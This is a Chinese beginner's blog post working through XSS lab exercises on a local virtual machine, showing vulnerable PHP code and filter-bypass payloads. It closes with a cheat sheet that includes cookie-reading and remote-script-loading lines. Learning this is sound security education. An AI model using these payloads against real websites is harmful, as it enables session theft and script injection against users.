XSS測試筆記,新手學習學習!

XSS筆記javascript

前言php

第一次寫博客,從申請博客到正式開寫,想了兩天到底寫什麼比較好,恰好我最近學習XSS攻擊,結合本身的學習狀況和經驗吧,寫一些東西做爲記念,但願之後本身看到成長的我。按照正常狀況下,學習完這個實驗,會有基本的XSS概念和入門思想。Go Go!html

  • 1、跨站腳本攻擊

XSS讀叉XX,原本的意思是CSS(Cross Site Script),CSS很繞口,最後改爲XSS了。其工做原理也不是很難,在WEB裏面插入惡意代碼,當用戶瀏覽網頁時,惡意代碼自動執行,從而達到攻擊的目的。java

一、XSS的危害:盜取cookie、放蠕蟲、網站釣魚等等瀏覽器

二、其類型有三種:反射型XSS,存儲型XSS、DOM型XSScookie

  • 2、實驗環境測試

       理論上的東西很枯燥,本身能夠去百度一下,有更厲害的前輩發的文章。此次我先來點基本實驗,看下是怎麼XSS。若通過下面簡單的實驗,你也許能瞭解一些東西,感受好玩了,再去找理論的東西學習,效果會更好。網絡

       這裏我是利用Debian6鏡像系統練習的,本身搞的鏈接連接:以下xss

       https://pan.baidu.com/s/1bphjaZP 密碼:p72y函數

       兩個文件都下載解壓,虛擬環境是鏡像系統,i386-iso放在CD裏面的鏡像文件,如圖所示:學習

 

 

 

還有一個較爲重要的是虛擬機須要新增長一個網絡適配器,模式改成僅主機模式,那就能夠了,如圖所示。

 

正常狀況下你能夠開啓虛擬機了,輸入命令ifconfig,Eth1顯示的IP地址爲192.168.64.129,而後在瀏覽器裏面輸入這個IP地址,網頁出來了,咱們下面就開始學習XSS基本的實驗了。

  • 一、來個最簡單的,沒有任何過濾的XSS。

其網址爲http://192.168.64.129/xss/example1.php?name=hacker

使用的基本語句

<script>alert(1)</script>

把這句話導進去爲

http://192.168.64.129/xss/example1.php?name=<script>alert(1)</script>

彈出窗口了,實驗結束

 

 

在實際中,咱們不多直接找到源代碼,由於這是實驗環境,因此貼出源代碼,你們分析一下吧,源代碼直接貼出。

<?php

               echo $_GET["name"];

?>

  • 二、由於這個是學習版,直接給出源代碼,來如何繞過去吧。

它對應的代碼以下 

<?php

               $name = $_GET["name"];

               $name = preg_replace("/<script>/", "", $name);

               $name = preg_replace("/<\/script>/", "", $name);

               echo $name;

?>

函數preg_replace("/<script>/", "", $name);在XSS裏面過濾了小寫,直接用大寫繞過就能夠了。

http://192.168.64.129/xss/example2.php?name=<Script>alert(1)</Script>

三、它對應的代碼以下 

<?php

               $name = $_GET["name"];

               $name = preg_replace("/<script>/i", "", $name);

               $name = preg_replace("/<\/script>/i", "", $name);

               echo $name;

?>

函數$name = preg_replace("/<script>/i", "", $name);在XSS裏面過濾了大小寫,剛纔的方式已經沒有效果了,這裏使用一個巧妙的方式繞過。

http://192.168.64.129/xss/example3.php?name=<scr<script>ipt>alert(1)</scr</script>ipt>

這種狀況下,<script>和</script>被去掉了,其餘語句繼續合併,那就剩下<scr ipt>alert(1)</scr ipt>

四、貼出源代碼

<?php

               if(preg_match('/script/i', $_GET["name"])) {

                               die("error");

               }

?>

這代碼的意思就是隻要包含script就報錯,上面的方式已通過期了,搞其餘的。

此次使用img標籤

http://192.168.64.129/xss/example4.php?name=<img src='a' onerror='alert(1)'>

這種狀況下<img>與<script>標籤原理也是同樣的。

五、貼出源代碼

<?php

               if(preg_match('/alert/i', $_GET["name"])) {

                               die("error");

               }

?>

這代碼的意思就是隻要包含alert就報錯,這題就好玩了

由於咱們前面都是含有alert(1)來實現的

如今alert被禁了,有點麻煩,可是也是能夠有辦法的

<script>alert(1)</script>

轉碼爲

<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>

alert(1)

轉成

String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)

完整代碼

http://192.168.64.129/xss/example5.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>

六、貼出源代碼,直接js環境輸入php變量,簡單來講已經給咱們寫了<script>前面的東西了,咱們只要閉合他,就能夠XSS了

<script>

               var $a = "<?php echo $_GET["name"]; ?>";

</script>

咱們輸入    ";b=alert(1);eval(b);//   後

會變成

<script>

               var $a = "<?php echo $_GET["";b=alert(1);eval(b);//"]; ?>";

</script>

http://192.168.64.129/xss/example6.php?name=";b=alert(1);eval(b);//

七、源代碼貼出來,分析

函數htmlentities是在js環境下經過html編碼php,可是它有個缺點,就是不過濾單引號

<script>

         var $a = "<?php echo htmlentities($_GET["name"]); ?>";

<script>

上面雙引號改爲單引號

http://192.168.64.129/xss/example7.php?name=';b=alert(1);eval(b);//

八、源代碼貼出,分析

這裏與上面的有點不同,貼圖出來

 

 

這個POST地址使用了當前URL。

<?php

         if(isset($_POST["name"])) {

                 echo "HELLO ".htmlentities($_POST["name"]);

         }

?>

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">

         Your name:<input type="text" name="name" />

         <input type="submit" name="submit" />

分析:原理是構造當前URL

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">

/"method="POST"><script>alert(1)</script>

接進去,變成

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">/"method="POST"><script>alert(1)</script>

恰好構造完成,XSS

 

http://192.168.64.129/xss/example8.php/"method="POST"><script>alert(1)</script>

 

九、遇到一個問題,沒辦法實現,直接在頁面輸出錨點id,構建XSS,源代碼

<script>

         document.write(location.hash.substring(1));

</script>

查看了一下別人的作法

http://192.168.64.129/xss/example9.php#<script>alert(1)</script>

可是我沒實現出來,之後會更多了,再去搞!
感謝大家,這教程適合剛入門的小夥伴吧,能夠互相學習,孤獨的道路上,共勉!
最後是經常使用的XSS代碼

<script>alert(/我是張三/)</script>

 

1<ScRiPt >alert(/我是張三/)</ScRiPt>

 

'"()&%1<ScRiPt >alert(/我是張三/)</ScRiPt>

 

</textarea><script>alert(document.cookie)</script><textarea>

 

<img src="javascript:alert(/sss/)" width=100>

 

<img src="#" onresume=alert(/sss/)>
<img src="#" onreverse=alert(/sss/)>
</textarea><script>alert(/xss/)</script>

 

</title><script>alert(/xss/)</script>

 

<script src=http://yoursite.com/your_files.js></script>

 

"><script>alert(0)</script>

 

<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">

 

<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">

 

<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">

 

<BODY onload="alert('XSS')">

 

<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>

 

<img src='a' onerror='alert(1)' />

 

1";alert(/1/)</script>

 

";b=alert(1);eval(b);//

 

";alert(/我是張三/)</script>

相關文章
相關標籤/搜索